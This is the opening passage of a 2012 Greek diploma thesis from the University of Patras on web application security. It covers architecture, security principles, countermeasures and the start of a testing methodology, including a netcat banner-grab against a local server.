ιπλωµατική Εργασία του φοιτητή του Τµήµατος Ηλεκτρολόγων Μηχανικών και Τεχνολογίας Υπολογιστών της Πολυτεχνικής Σχολής του Πανεπιστηµίου Πατρών

ΠΑΝΕΠΙΣΤΗΜΙΟ ΠΑΤΡΩΝ ΤΜΗΜΑ ΗΛΕΚΤΡΟΛΟΓΩΝ ΜΗΧΑΝΙΚΩΝ ΚΑΙ ΤΕΧΝΟΛΟΓΙΑΣ ΥΠΟΛΟΓΙΣΤΩΝ ΤΟΜΕΑΣ:ΗΛΕΚΤΡΟΝΙΚΗΣ ΚΑΙ ΥΠΟΛΟΓΙΣΤΩΝ ΕΡΓΑΣΤΗΡΙΟ:ΣΥΣΤΗΜΑΤΩΝ ΥΠΟΛΟΓΙΣΤΩΝ ιπλωµατική Εργασία του φοιτητή του Τµήµατος Ηλεκτρολόγων Μηχανικών και Τεχνολογίας Υπολογιστών της Πολυτεχνικής Σχολής του Πανεπιστηµίου Πατρών Μπαλαφούτης Χρήστος Αριθµός Μητρώου: 6461 Θέµα «Μέθοδοι προστασίας ιστοσελίδων στο διαδίκτυο» Επιβλέπων Σερπάνος ηµήτριος Αριθµός ιπλωµατικής Εργασίας: Πάτρα, Ιούλιος 2012

2

ΠΙΣΤΟΠΟΙΗΣΗ Πιστοποιείται ότι η ιπλωµατική Εργασία µε θέµα «Μέθοδοι προστασίας ιστοσελίδων στο διαδίκτυο» Του φοιτητή του Τµήµατος Ηλεκτρολόγων Μηχανικών και Τεχνολογίας Υπολογιστών Μπαλαφούτη Χρήστου του Αγγέλου Αριθµός Μητρώου:6461 Παρουσιάστηκε δηµόσια και εξετάστηκε στο Τµήµα Ηλεκτρολόγων Μηχανικών και Τεχνολογίας Υπολογιστών στις 6/7/2012 Ο Επιβλέπων Σερπάνος ηµήτριος Καθηγητής Ο ιευθυντής του Τοµέα Χούσος Ευθύµιος Καθηγητής 3

4

Αριθµός ιπλωµατικής Εργασίας: /2012 Θέµα: «Μέθοδοι προστασίας ιστοσελίδων στο διαδίκτυο» Φοιτητής: Μπαλαφούτης Χρήστος Επιβλέπων: Σερπάνος ηµήτριος Περίληψη Στην παρούσα διπλωµατική εργασία παρουσιάζονται βασικές έννοιες και µέθοδοι για την ασφάλεια ιστοσελίδων και ιδιαίτερα των site µε web application προσανατολισµό, χωρίς αυτό να σηµαίνει ότι αρκετές τεχνικές προστασίας και σφάλµατα που θα εντοπίσουµε δεν µπορούν να συναντηθούν και σε άλλου σκοπού ιστοσελίδες. Αρχικά, γίνεται αναφορά στο τι είναι µια εφαρµογή ιστού (web app) και ποια είναι τα στοιχεία που την αποτελούν. Στη συνέχεια, χρησιµοποιώντας έρευνες, παρουσιάζονται κάποιες από τις πιο δηµοφιλείς επιθέσεις που γίνονται σε ιστοσελίδες και περιγράφεται πιο διεξοδικά ποια αδύνατα σηµεία της δοµής των ιστοσελίδων εκµεταλλεύονται. Παράλληλα, γίνεται αναφορά στο πως και µε ποια εργαλεία µπορούµε να εντοπίσουµε και να κλείσουµε τα κενά ασφαλείας που τυχόν έχει µία εφαρµογή ιστού. Τέλος, παρουσιάζεται η εφαρµογή που αναπτύχθηκε στα πλαίσια της εργασίας µε σκοπό να γίνει επίδειξη συγκεκριµένων επιθέσεων και σφαλµάτων που παρατηρούνται στο διαδίκτυο. 5

6

Αφιερώνεται µε ένα µεγάλο ευχαριστώ στους γονείς µου. 7

8

Περιεχόµενα 1.-Εισαγωγή...11 1.1-Τι είναι µία εφαρµογή ιστού( web application);...11 1.2-Αρχιτεκτονική web application 12 1.3-Κενά ασφαλείας (Γενική αναφορά σε ποια στοιχεία έχουµε επιθέσεις)......13 2.- Ορισµός Web app security... 13 2.2-Βασικές αρχές ασφαλούς web app... 14 2.3-Μέτρα ασφάλειας(security countermeasures )........15 2.4- Έλεγχος της ασφάλειας...16 3.1-Παρουσίαση στις τάσεις του hacking...21 3.2-Top 10 vulnerabilities/exploits (OWASP)....23 3.2.1-Εισαγωγή κώδικα(code Injection). 24 3.2.2-Cross-site scripting (Xss)...29 3.2.3-Μη ασφαλής ταυτοποίηση και διαχείριση συνεδρίας...33 3.2.4-Ανασφαλείς άµεσες αναφορές σε αντικείµενα..34 3.2.5- Cross-site Request Forgery (CSRF)..35 3.2.6- Λανθασµένες ρυθµίσεις ασφαλείας.38 3.2.7-Ανασφαλής κρυπτογράφηση δεδοµένων....38 3.2.8- Αποτυχία άρνησης πρόσβασης µέσω URL.......40 3.2.9-Ανεπαρκής προστασία επιπέδου µεταφοράς....41 3.2.10-Μη έγκυρες προωθήσεις.........42 4-Παρουσίαση web app και επίδειξη κενών και επιθέσεων.... 43 5-Τελικά συµπεράσµατα.......62 Βιβλιογραφία Πηγές....64 9

10

1-Εισαγωγή Πολλά άρθρα και εργασίες για το internet ξεκινούσαν και ξεκινούν µε τη φράση «Το internet µπαίνει όλο και περισσότερο στις ζωές µας». Όσο κλισέ και αν ακούγεται η ίδια φράση σήµερα φαντάζει πιο επίκαιρη από ποτέ. Ο παγκόσµιος ιστός εξελίσσεται και οι δυνατότητες που προσφέρει πλέον ξεπερνούν την διασκέδαση, την ενηµέρωση, την επικοινωνία. Οι ιστοσελίδες πλέον έχουν προσανατολιστεί και ενσωµατώνουν στη δοµή τους εφαρµογές διαδικτύου δίνοντας τη δυνατότητα στους απλούς χρήστες να εκτελούν συναλλαγές µε οργανισµούς, τραπεζικές συναλλαγές(web banking), αγορές από ηλεκτρονικά καταστήµατα(e-shopping). Κάθε µέρα εµφανίζονται και νέες εφαρµογές που παρέχουν στους χρήστες και νέες δυνατότητες. Ολόκληρες επιχειρήσεις έχουν «στηθεί» και υπάρχουν αποκλειστικά στο διαδίκτυο προσφέροντας υπηρεσίες και προϊόντα. Για να είναι δυνατόν να εκτελούνται όλες οι απαιτούµενες ενέργειες που ζητούν οι χρήστες οι εφαρµογές ζητούν, διαχειρίζονται και αποθηκεύουν προσωπικά δεδοµένα του κάθε χρήστη. Είναι λοιπόν προφανές ότι η ασφάλεια των εφαρµογών-ιστοσελίδων και η προστασία, πρώτα,των προσωπικών δεδοµένων των χρηστών αλλά και της εύρυθµης λειτουργίας των εφαρµογών ιστού αποκτά όλο και µεγαλύτερη σηµασία. Γιατί όµως στρεφόµαστε περισσότερο στην ασφάλεια των web app; Ήταν θα λέγαµε φυσικό επόµενο µε την τόσο ραγδαία ανάπτυξη των ιστοσελίδων προσανατολισµένων σε web application να τραβήξουν και την προσοχή των «hacker». Τα στοιχεία ερευνών δείχνουν ότι οι hacker έχουν εστιάσει στις επιθέσεις κατά των web app και αυτό γίνεται για συγκεκριµένους λόγους. Σε κάθε σύστηµα που συνδέεται σε ένα δίκτυο πλέον υπάρχει κάποιο είδος firewall ώστε να αποτρέπεται η πρόσβαση αγνώστων από «έξω» και η µη εξουσιοδοτηµένη επικοινωνία προς τα έξω. Η εφαρµογή ιστού όµως θα πρέπει να επιτρέπει την πρόσβαση σε τρίτους αλλιώς δεν έχει ουσία ύπαρξης. Γι αυτό το λόγω υπάρχουν κάποιες «πόρτες» που επιτρέπουν την επικοινωνία από και προς τρίτους, συνήθως τα port 83/443. Είναι λοιπόν κατανοητή η στροφή των hacker καθώς η προσπάθειά τους για πρόσβαση σε βαθύτερα επίπεδα σε ένα σύστηµα µειώθηκε χωρίς κόπο. Άφθονοι στόχοι. Οι web apps είναι παντού και ο αριθµός τους αυξάνεται καθηµερινά. Οι τεχνικές επίθεσης που χρησιµοποιούνται είναι απλές και εύκολες στην εκµάθηση. Κακογραµµένοι κώδικες,γεµάτοι µε λάθη. Συνήθως οι εφαρµογές είναι πολλές γραµµές κώδικα και οι προγραµµατιστές που τις δηµιουργούν δεν έχουν και τη µεγαλύτερη εµπειρία. Αυτό προς όφελος των επίδοξων hacker που ψάχνουν για αδύναµα σηµεία. Συνεχείς αλλαγές και εξέλιξη του κώδικα των web app. Οι ενηµερώσεις, οι αναβαθµίσεις και οι προσθήκες νέων δυνατοτήτων είναι συχνές. Είναι αναµενόµενο να συµβαίνουν λάθη στην προσθήκη των νέων στοιχείων από τους διαχειριστές ή τους developers κάτι για το οποίο ψάχνουν πάντα οι hacker. Οικονοµικά οφέλη. Όπως αναφέραµε οι εφαρµογές ιστού χρησιµοποιούνται για οικονοµικές συναλλαγές και υπάρχει συχνή χρήση τραπεζικών λογαριασµών, πιστωτικών καρτών κλπ. Τα ποσά που διακινούνται µέσω internet είναι τεράστια. Είναι φυσικό πλέον οι λόγοι επίθεσης σε εφαρµογές να είναι το οικονοµικό όφελος και όχι µόνο η φήµη. 1.1-Τι είναι µία web application; Μία web app είναι µία εφαρµογή στην οποία έχουµε πρόσβαση µέσω διαδικτύου και η οποία χρησιµοποιεί ως πελάτη (client) ένα πρόγραµµα περιήγησης( web browser). Στην ουσία µία web app είναι το στοιχείο εκείνο που µας επιτρέπει να επικοινωνήσουµε µε τα back-end συστήµατα πίσω από αυτή. 11

Μία web app µπορεί να είναι απλή όπως ένας πίνακας ανακοινώσεων ή ένα ηλεκτρονικό βιβλίο εντυπώσεων επισκεπτών ή τόσο πολύπλοκη όσο ένας επεξεργαστής κειµένου. Οι περισσότερες web apps λειτουργούν κάτω από το µοντέλο client - server όπου ο client παρέχει ή ζητά πληροφορίες και ο server ευθύνεται για την αποθήκευσή ή παροχή τους. Για να αναπτυχθεί µία web app συνδυάζονται ένα server-side-script(asp,php κτλ) και ένα clientside-script(javascript, html). Το server-side-script καθορίζει τις βασικές λειτουργίες που γίνονται(αποθήκευση και ανάκληση πληροφοριών από το server) ενώ το client script έχει να κάνει µε το πώς παρουσιάζονται οι πληροφορίες στον client και µε τη γενικότερη µορφή(interface) της web app. Το µεγάλο πλεονέκτηµα των web app είναι το γεγονός ότι εκτελούνται µέσω του web browser κάτι το οποίο σηµαίνει ότι ένας προγραµµατιστής(developer) δε χρειάζεται να φτιάξει ξεχωριστό client για τους διάφορους τύπους ηλεκτρονικών υπολογιστών οι οποίοι έχουν εγκατεστηµένο διαφορετικό λειτουργικό σύστηµα. 1.2-Αρχιτεκτονική µίας web application Οι εφαρµογές συνήθως αποτελούνται από διαχωρισµένα λογικά µέρη αποκαλούµενα ως σειρές (tiers). Οι παραδοσιακές εφαρµογές αποτελούνται µόνο από 1 σειρά, η οποία βρίσκεται στον υπολογιστή του πελάτη. Oι web apps όµως, από τη φύση τους, οδηγούνται σε µια N-tiered (δόµηση σε ν σειρές) προσέγγιση. Η πιο συνηθισµένη είναι η τριών σειρών δοµή. Στην απλή µορφή της δοµής οι τρεις αυτές σειρές είναι η παρουσίαση(presentation), η εφαρµογή(application) ή business logic και η αποθήκευση(storage) ή δεδοµένα (data). Client (Browser) Web Server Web App Storage (Database) Η παρουσίαση γίνεται µέσω του web browser. Χρησιµοποιώντας αυτά τα προγράµµατα µπορούµε «εµείς» (οι χρήστες) να έχουµε πρόσβαση στη γραφική διεπαφή της web app και να κάνουµε χρήση των δυνατοτήτων που προσφέρει. Η δεύτερη σειρά (business logic) είναι µία «µηχανή» η οποία χρησιµοποιεί µία δυναµικού περιεχόµενου τεχνολογία ιστού (PHP,ASP,.NET κτλ). Είναι το κυρίως µέρος της εφαρµογής µας το οποίο τρέχει πάνω σε ένα web server. Τέλος η αποθήκευση είναι συνήθως µία βάση δεδοµένων. Ο web browser(client) στέλνει τα αιτήµατα στην εφαρµογή, η οποία τα εξυπηρετεί πραγµατοποιώντας ερωτήσεις (queries) και ενηµερώσεις (updates) στη βάση δεδοµένων. 12

1.3-Κενά ασφαλείας web app Το κενό ασφαλείας είναι µία τρύπα, µία αδυναµία που έχει δηµιουργηθεί σε µία web app είτε από λάθος στο σχεδιασµό, είτε από κάποιο σφάλµα που εµφανίστηκε στην εφαρµογή(implementation) της web app στην ιστοσελίδα µας. Αυτά τα κενά (valnurabilities) δίνουν τη δυνατότητα σε κακόβουλους χρήστες να επιτεθούν σε ιστοσελίδες µε σκοπό να κλέψουν δεδοµένα και να βλάψουν τους χρήστες των εφαρµογών. Παραδείγµατα τέτοιων κενών είναι : α)έλλειψη επικύρωσης δεδοµένων από εισαγωγή του χρήστη. Τα δεδοµένα που αποστέλλονται από τον οποιοδήποτε χρήστη δεν ελέγχονται από το σύστηµά µας και θεωρούνται έγκυρα καθώς περνούν µέσω της web app. β)έλλειψη «ισχυρού» µηχανισµού εισόδου(log-in). Ο µηχανισµός authentication για την εισαγωγή και την απόδοση άδειας σε έναν χρήστη, για να χρησιµοποιήσει τις εφαρµογές που παρέχει η ιστοσελίδα, είναι δυνατόν να παρακαµφθεί και να επιτρέψει σε άγνωστους χρήστες την είσοδο στην ιστοσελίδα. γ)ελλιπής ή ανύπαρκτος µηχανισµός διαχείρισης λαθών(error handling). Χωρίς έναν ικανοποιητικό τέτοιο µηχανισµό µπορεί να οδηγηθούµε ακόµα και σε άρνηση υπηρεσιών(denial of service). δ)λανθασµένος τερµατισµός σύνδεσης µε τη βάση δεδοµένων. Σε αυτό το σηµείο θα πρέπει να διαχωρίσουµε τους όρους vulnerability και exploit από τη σκοπιά του χρήστη της web app. Ένα κενό ασφαλείας-«αδυναµία»(vulnerability) ανακαλύπτεται όταν ένας χρήστης δηµιουργήσει ένα αναπάντεχο γεγονός στην οµαλή λειτουργία της web app. Ένα γεγονός το οποίο υπό φυσιολογικές συνθήκες δε θα συνέβαινε. Και ας προσέξουµε ότι σε αυτή την περίπτωση δεν υπάρχει δόλος στην ενέργεια αυτή. Όταν όµως ο χρήστης (πλέον hacker ή cracker - για να καλύψουµε τους ιδεολόγους) «εκµεταλλεύεται» αυτή την ατέλεια µε σκοπό να κλέψει δεδοµένα ή να αλλοιώσει την web app για τον οποιοδήποτε στόχο του τότε έχουµε exploit. 2.1-Αφάλεια εφαρµογής ιστού Ασφάλεια µίας web app ορίζεται ως η χρήση software, hardware και άλλων διαδικαστικών µεθόδων µε σκοπό την προστασία από «εξωτερικές» επιθέσεις ή εσωτερικά σφάλµατα. Τα µέτρα ασφαλείας που λαµβάνονται µειώνουν τις πιθανότητες που έχει κάποιος hacker να καταφέρει να αποκτήσει πρόσβαση, να αντιγράψει ή και να τροποποιήσει ευαίσθητα δεδοµένα της εφαρµογής. Για να εξασφαλίσουµε όσο το δυνατόν πληρέστερη ασφάλεια που παρέχεται σε/ από µία web app πρέπει να λάβουµε υπόψη τα εξής χαρακτηριστικά. Πιστοποίηση(Authentication): Κάθε φορά η web app θα πρέπει να γνωρίζει σε ποιον χρήστη δίνει πρόσβαση στις υπηρεσίες της. Ο χρήστης µπορεί να είναι άνθρωπος, άλλο πρόγραµµα είτε κάποιος υπολογιστής. Εξουσιοδότηση(Authorization): Θα πρέπει να είναι απολύτως ορισµένες, από τον προγραµµατιστή ή την εφαρµογή, οι ενέργειες που µπορεί κάθε «έγκυρος» χρήστης να πραγµατοποιήσει και τα δεδοµένα που µπορεί να επεξεργαστεί ανάλογα µε τα δικαιώµατα που του έχουν παραχωρηθεί. Auditing: ιαδικασία κατά την οποία οι ενέργειες του εξουσιοδοτηµένου χρήστη καταγράφονται. Αυτό είναι πολύ χρήσιµο σε περίπτωση για παράδειγµα των εµπορικών (e-commerce) εφαρµογών ώστε κάποιος να µην µπορεί να αρνηθεί ότι παρήγγειλε 13

κάποιο προϊόν ή να ελεγχθεί για οποιαδήποτε ενέργειά του κατά τη διάρκεια της παραµονής του στην εφαρµογή. Εµπιστευτικότητα(Confidentiality): Χαρακτηριστικό στο οποίο αναφερόµαστε και ως ιδιοτικότητα (privacy). Θα πρέπει να είµαστε σίγουροι ότι οι πληροφορίες που βρίσκονται στις βάσεις της εφαρµογής ή που ανταλλάσσονται στη διάρκεια κάποιας συνεδρίας(session) παραµένουν κρυφές από τρίτους, µη εξουσιοδοτηµένους. Σε αυτό τον τοµέα η κρυπτογράφηση παίζει σηµαντικό ρόλο. Ακεραιότητα(Integrity): Είναι η εγγύηση ότι γενικά τα δεδοµένα, και ιδιαίτερα όσες πληροφορίες που αποστέλλονται µέσω δικτύου, παραµένουν αναλλοίωτα είτε από σφάλµα είτε από κακόβουλη παρέµβαση. ιαθεσιµότητα(availability): Είναι η βεβαιότητα ότι οι υπηρεσίες που προσφέρει η web app θα είναι διαθέσιµες κάθε στιγµή που κάποιος «έγκυρος» χρήστης τις ζητήσει. Πολλές επιθέσεις έχουν σαν στόχο την άρνηση της υπηρεσίας είτε καταστρέφοντας την εφαρµογή είτε «βοµβαρδίζοντάς» την µε τεράστιο φόρτο εργασίας. 2.2- Βασικές αρχές ασφαλούς web app. Η ασφάλεια ξεκινά να «χτίζεται» αναλύοντας τη δοµή της web app, ορίζοντας επακριβώς ποιες ενέργειες αναµένονται από την εφαρµογή µας, δηµιουργώντας έτσι ένα προφίλ όπου προσδιορίζονται και κατατάσσονται οι διάφορες πιθανές απειλές µε τα δυσµενή γεγονότα που µπορεί να προκαλέσουν καθώς και τις ενέργειες που λαµβάνονται εναντίον αυτών των απειλών. Αυτή η διαδικασία είναι γνωστή και ως threat modeling. Έχοντας προσδιορίσει τις διάφορες απειλές ο προγραµµατιστής µπορεί να χρησιµοποιήσει ειδικές τεχνικές προγραµµατισµού ικανές να αντεπεξέλθουν πιθανές επιθέσεις. Είναι όµως προφανές ότι µε την πάροδο του χρόνου αναπτύχθηκαν κάποιες βασικές αρχές που πρέπει να ακολουθήσει κάποιος µε στόχο την καλύτερη προστασία της εφαρµογή του. Οι αρχές αυτές µπορούν να εφαρµοστούν γενικά στην ασφάλεια δικτύων και υπολογιστικών συστηµάτων. 1. Τµηµατοποίηση: Σε περίπτωση που κάποιος καταφέρει να επιτεθεί επιτυχώς σε µια εφαρµογή σε ποια δεδοµένα θα έχει πρόσβαση και σε πόσο «µεγάλο» µέρος της εφαρµογής έχει πρόσβαση; Έχει πρόσβαση στο δίκτυο; Ο στόχος µας δηλαδή είναι το κατά πόσο είναι δυνατόν να περιορίσουµε το πρόβληµα στο ελάχιστο δυνατό. Παραδείγµατα τέτοιων ενεργειών είναι οι «λογαριασµοί» ελαχίστων δικαιωµάτων και τα firewall πίσω από κάθε «σειρά» (tier) του συστήµατος. 2. Ασφάλεια σε βάθος: Για µία ασφαλή web app θα πρέπει να υπάρχουν πολλά επίπεδα ελέγχου. εν πρέπει να «αναπαυόµαστε» σε ένα επίπεδο ασφάλειας. Είναι χρήσιµο να θεωρούµε ότι κάποιο από τα επίπεδα ασφαλείας που έχουµε θα παραβιαστεί και θα πρέπει να υπάρχει κάποιο επόµενο για να σταµατήσει την επίθεση. 3. Πιστοποίηση στην είσοδο: Από το πρώτο κιόλας σηµείο επαφής ενός client µε την εφαρµογή θα πρέπει να γίνεται πιστοποίηση και ανάθεση δικαιωµάτων στον επίδοξο χρήστη. 4. Ασφαλής κατάρρευση: Εάν µία web app καταρρεύσει τότε δεν πρέπει να αποκαλύπτονται δεδοµένα και πληροφορίες για την δοµή της web app που κάποιος µπορεί να εκµεταλλευτεί. Τα errors που επιστρέφονται δεν θα πρέπει να έχουν πληροφορίες για το σύστηµα. 5. Προστατέψτε το πιο αδύνατο σηµείο: Σε κάθε περίπτωση προβλέπουµε το πιο αδύνατο σηµείο σε ένα σύστηµα και δίνουµε ιδιαίτερη προσοχή σε αυτό. 6. Ελαχιστοποίηση σηµείων επίθεσης: Εάν κάποια στοιχεία ή υπηρεσίες ή πρωτόκολλα της εφαρµογής δεν χρησιµοποιούνται απενεργοποιήστε τα. εν χρειάζεται να δίνουµε 14

περισσότερα σηµεία για να δοκιµάσουν επίθεση οι hacker και περισσότερα σηµεία για να δώσουµε προσοχή εµείς. Ήδη υπάρχουν αρκετά! Ένα ακόµη πολύ σηµαντικό σηµείο στη δηµιουργία µιας ασφαλούς web app είναι το γεγονός ότι καλό είναι να αποφεύγουµε να χρησιµοποιούµε έτοιµες ολόκληρες εφαρµογές ή και τµήµατα κώδικα όταν θέλουµε να έχουµε τον πλήρη έλεγχο. Σε περιπτώσεις που θέλουµε οπωσδήποτε να χρησιµοποιήσουµε έτοιµο κώδικα θα πρέπει να σιγουρευόµαστε ότι δεν δηµιουργεί ευκαιρία για exploit στην εφαρµογή µας. Τέλος, θα πρέπει να λάβουµε υπόψη ότι µαζί µε την προστασία της εφαρµογής µας θα πρέπει να προστατέψουµε το δίκτυο και τον host. Κάποιος θα µπορούσε να πάρει τον έλεγχο της εφαρµογής και να αποκτήσει πρόσβαση στα ευαίσθητα δεδοµένα εκµεταλλευόµενος κενά ασφαλείας σε κάποιο από τα δύο τµήµατα. 2.3-Μέτρα ασφάλειας Τα µέτρα ασφαλείας των site είναι γνωστά και ως countermeasures. Εκτός από τα σηµεία που πρέπει να προσέχει ένας developer εφαρµογής ιστού στον κώδικά του είναι αναγκαίο να χρησιµοποιεί και εξωτερικά(από την εφαρµογή) εργαλεία. Αυτά µπορεί να είναι και software αλλά και εργαλεία hardware. Στον τοµέα του software το πιο συνηθισµένο «µέτρο» είναι το application firewall, το οποίο ελέγχει και απαγορεύει την εκτέλεση αρχείων από ορισµένα προγράµµατα. Επίσης µπορεί να απαγορεύσει την πρόσβαση από έναν άγνωστο,στην εφαρµογή ή στο δίκτυο, χρήστη. Άλλα «µέτρα» είναι τα προγράµµατα antivirus, εύρεση και αφαίρεση spyware και malware, προγράµµατα κρυπτογράφησης / αποκρυπτογράφησης. Τα hardware εργαλεία µας εξυπηρετούν κυρίως στο να προστατέψουµε το δίκτυο µέσω του οποίου συνδεόµαστε και επικοινωνούµε µε την εφαρµογή. Παράδειγµα τέτοιων συσκευών είναι το router, το οποίο µπορεί να µας παρέχει αποκλεισµό συγκεκριµένων (γνωστών κακόβουλων) ip ή και την απόκρυψη της δικής µας. Παραδείγµατα επιθέσεων από τις οποίες προστατευόµαστε µε τα hardware εργαλεία είναι τα sniffing, spoofing, session hijacking, denial of service. Στην κατηγορία των web app µπορούµε να χωρίσουµε τα µέτρα σε δύο άλλες µεγάλες κατηγορίες. Σε Client-side και Server-side. Ως client side εννοούµε τις ενέργειες που πρέπει να ακολουθεί και ένας χρήστης ώστε να προστατέψει κυρίως τον εαυτό του και τα δεδοµένα του και έπειτα την εφαρµογή. Είναι τα µέτρα που εφαρµόζονται στη µεριά του browser. Παράλληλα, είναι χρέος και των διαχειριστών /ιδιοκτητών της ιστοσελίδας να ενηµερώνουν τους χρήστες /επισκέπτες της εφαρµογής για κάποιο «ιδιαίτερη» ενέργεια που πρέπει να κάνουν ώστε να µπορούν να έχουν ασφαλή πρόσβαση, πχ. ενεργοποίηση / απενεργοποίηση λογισµικών, ρυθµίσεων στον browser κτλ. Αντίστοιχα ως server side αναφερόµαστε στα µέτρα που παίρνουν οι developer και οι διαχειριστές µιας εφαρµογής πάνω στον server που «φιλοξενεί» την web app. CLIENT-SIDE Τερµατισµός όλων των συνεδριών µετά την ολοκλήρωσή τους. Χρησιµοποιούµε πάντα SSLή TLS σε περιπτώσεις µετάδοσης «ευαίσθητων» δεδοµένων. Ενηµερωµένος server για αποφυγή Cross-site-scripting Τα e-mail που περιέχουν πληροφορίες σχετικά µε την ταυτότητα µιας συνεδρίας(session-id) θα πρέπει να τυγχάνουν προστασίας-κρυπτογράφησης αντίστοιχης των password/username. Μην επιλέγεται Remember me κουτάκια. 15

Χρήση HttpOnly flag σε session cookies (µε την προϋπόθεση ότι υποστηρίζεται από τον browser) για να αποφύγουµε την υποκλοπή τους από client side attacks[13]. Αν είναι γνωστό ότι η εφαρµογή δεν χρησιµοποιεί scripts γραµµένα σε java ή κάποια άλλη παρόµοια γλώσσα χρησιµοποιούµε εργαλεία τα οποία σταµατούν κάθε εκτέλεσή τους. Στον Mozilla Firefox υπάρχει το εργαλείο NoScript. SERVER-SIDE Κρατάµε τον server πάντα ενηµερωµένο. Ο server πρέπει να αποκαλύπτει όσο το δυνατόν ελάχιστες πληροφορίες για τη δοµή της εφαρµογής και τον τύπο του συστήµατος σε αιτήσεις και σε αποκρίσεις µετά από σφάλµα. Ελέγχουµε συχνά τα log files του server για επικίνδυνες και ύποπτες αιτήσεις. Μπλοκάρουµε τις Ip που τις δηµιουργούν. Αποθηκεύουµε σε διαφορετικό σκληρό δίσκο από αυτόν του συστήµατος τους web φακέλους και αρχεία. Έτσι αποφεύγουµε επιθέσεις όπως η directory traversal καθώς δεν µπορεί κάποιος hacker να περιηγηθεί σε άλλη φυσική µονάδα δίσκου εκτός αυτής του συστήµατος. ηλαδή, Γράφουµε και αποστέλλουµε σελίδες 404 σαν απόκριση σε σφάλµατα. Χρησιµοποιούµε εργαλεία όπως το urlscan ώστε να «φιλτράρουµε» τις αιτήσεις που γίνονται µέσω του http και να αποφεύγουµε τις κακόβουλες. Σε κάθε εφαρµογή θα πρέπει να γίνεται µια εκτίµηση για την κίνηση που αναµένετε να υπάρξει. Σε εφαρµογές που εξαρτώνται πολύ από την αδιάκοπη καλή λειτουργία και παραµονή στο δίκτυο δαπανούµε όσο γίνεται το δυνατόν περισσότερα για την επάρκεια φυσικών πόρων στο server και στο δίκτυο µε σκοπό την κάλυψη του φόρτου. Έτσι µπορούµε να προφυλαχτούµε, όσο γίνεται, απέναντι σε επιθέσεις «πληµµύρας» (flood attacks) όπου υπερβολικός αριθµός αιτήσεων προς τον server και την εφαρµογή οδηγούν σε αδυναµία εξυπηρέτησης - DoS. 2.4-Έλεγχος της ασφάλειας(security assessment ή Penetration testing) Μία πολύ σηµαντική διαδικασία για την εξασφάλιση της ασφάλειας της web app που αναπτύσσουµε ή ελέγχουµε είναι η δοκιµή και η έρευνα για κενά ασφαλείας στην εφαρµογή µας. Αυτή η διαδικασία θα πρέπει γίνεται σε τακτά διαστήµατα ειδικά όταν προσθέτουµε νέα στοιχεία στην εφαρµογή ή αναβαθµίζουµε κάποια άλλα στοιχεία της. Ελέγχουµε συνέχεια για κενά και ατέλειες στην εφαρµογή µας ώστε να τα διορθώνουµε, πριν τα ανακαλύψει κάποιος κακόβουλος χρήστης. Σε αυτή την ενότητα θα δώσουµε µια γενική µεθοδολογία για κάποια σηµαντικά σηµεία που θα πρέπει να προσέξουµε και να εξετάσουµε κατά την εκτίµηση της ασφάλειας µιας web app. Συγκεκριµένες επιθέσεις και τρόποι αντιµετώπισης αναλύονται στην ενότητα 3. Το ζήτηµα θα πρέπει να αντιµετωπιστεί και από τη σκοπιά ενός hacker, ο οποίος δεν έχει καµία πληροφορία, όταν ξεκινά, για το σύστηµα που έχει να αντιµετωπίσει και µε αυτή την υπόθεση προχωράµε στα επόµενα βήµατα. Φυσικά δε θα πρέπει να παραβλέψουµε ότι εµείς σαν δοκιµαστές ή developer της εφαρµογής-ιστοσελίδας έχουµε άµεση πρόσβαση και σε σηµεία που ένας hacker µπορεί να µην αποκτήσει ποτέ. Ξεκινάµε µε το να συγκεντρώσουµε πληροφορίες για τους web και application(εάν υπάρχει) server. 16

Ταυτοποίηση του web server: Με διάφορες τεχνικές,πχ. στέλνοντας ένα HEAD request και διαβάζοντας το επιστρεφόµενο header µέσω του εργαλείου Νetcat, είτε µε χρήση προγραµµάτων,πχ httprint,παίρνουµε τις πληροφορίες για τον server πάνω στον οποίο τρέχει η web app. Παράδειγµα µε χρήση Netcat: Το Netcat είναι ένα εργαλείο το οποίο διαβάζει και στέλνει δεδοµένα σε συνδέσεις πάνω σε δίκτυα µέσω του πρωτοκόλλου TCP/IP. Τρέξαµε την εντολή σε τερµατικό για τον τοπικό server printf "HEAD / HTTP/1.0\r\n\r\n" nc -n -i 1 127.0.0.1 80 Η απόκριση που πήραµε ήταν η παρακάτω και βλέπουµε ότι µαζί µε την πληροφορία για το ποιος server χρησιµοποιείται βλέπουµε και το λειτουργικό σύστηµα πάνω στο οποίο τρέχει. HTTP/1.1 200 OK Date: Fri, 09 Dec 2011 17:29:34 GMT Server: Apache/2.2.14 (Ubuntu) Last-Modified: Tue, 10 May 2011 07:45:00 GMT ETag: "493a0-b1-4a2e722183700" Accept-Ranges: bytes Content-Length: 177 Vary: Accept-Encoding Connection: close Content-Type: text/html Ταυτοποίηση του application server: Πολλές εφαρµογές τρέχουν σε application server πίσω από τον web server. Η ταυτοποίησή του µπορεί να γίνει µέσω δύο τρόπων. Μέσω απόκρισης του συστήµατος µετά από πρόκληση σφάλµατος(από δικές µας εισόδους-εικόνα 1), είτε µέσω της προεγκατεστηµένης σελίδας διαχείρισης(εικόνα 2). Αρκετοί σχεδιαστές παραβλέπουν κάποιες σελίδες που εγκαθίστανται εξαρχής µε τον application server επειδή τρέχουν πίσω από τον web server. Έτσι αφήνουν ελεύθερη την «απ έξω» πρόσβαση σε αυτά τα αρχεία και σελίδες,πχ τη default σελίδα του διαχειριστή. Εικόνα 1. 17

Εικόνα 2. Επειτα εξερευνούµε τη δοµή καταλόγου(directory structure) του web server. Αυτό µπορεί να γίνει είτε µε απλή πλοήγηση στις σελίδες είτε µε κάποιο πρόγραµµα(crawler) όπως το webcopier που θα µας δώσουν µια ιδέα για τη δοµή των καταλόγων του site µέσω της σύνδεσης των σελίδων. Αφού έχουµε συγκεντρώσει όσες πληροφορίες µπορούµε για τους server και για τα εργαλεία που αυτοί διαθέτουν, µπορούµε να τρέξουµε προγράµµατα(webscanners πχ. Webscan,Whisker) τα οποία θα ψάξουν για σφάλµατα και αδυναµίες πάνω σε αυτούς και τα modules που διαθέτουν. Ένα ακόµα σηµαντικό σηµείο όσον αφορά τον server στον οποίo τρέχει η web app είναι το κατά πόσο αυτός είναι ευάλωτος σε επιθέσεις DoS. Είναι αρκετά δύσκολο να διαπιστώσουµε το πόσο ευάλωτο είναι το σύστηµά µας. Ένα εργαλείο που µπορούµε να χρησιµοποιήσουµε είναι το JMETER µε το οποίο µπορούµε να προσοµοιώσουµε την κίνηση και το φορτίο αιτήσεων που δέχεται µία web app. Ένα σηµαντικό test είναι το πόσες αιτήσεις το 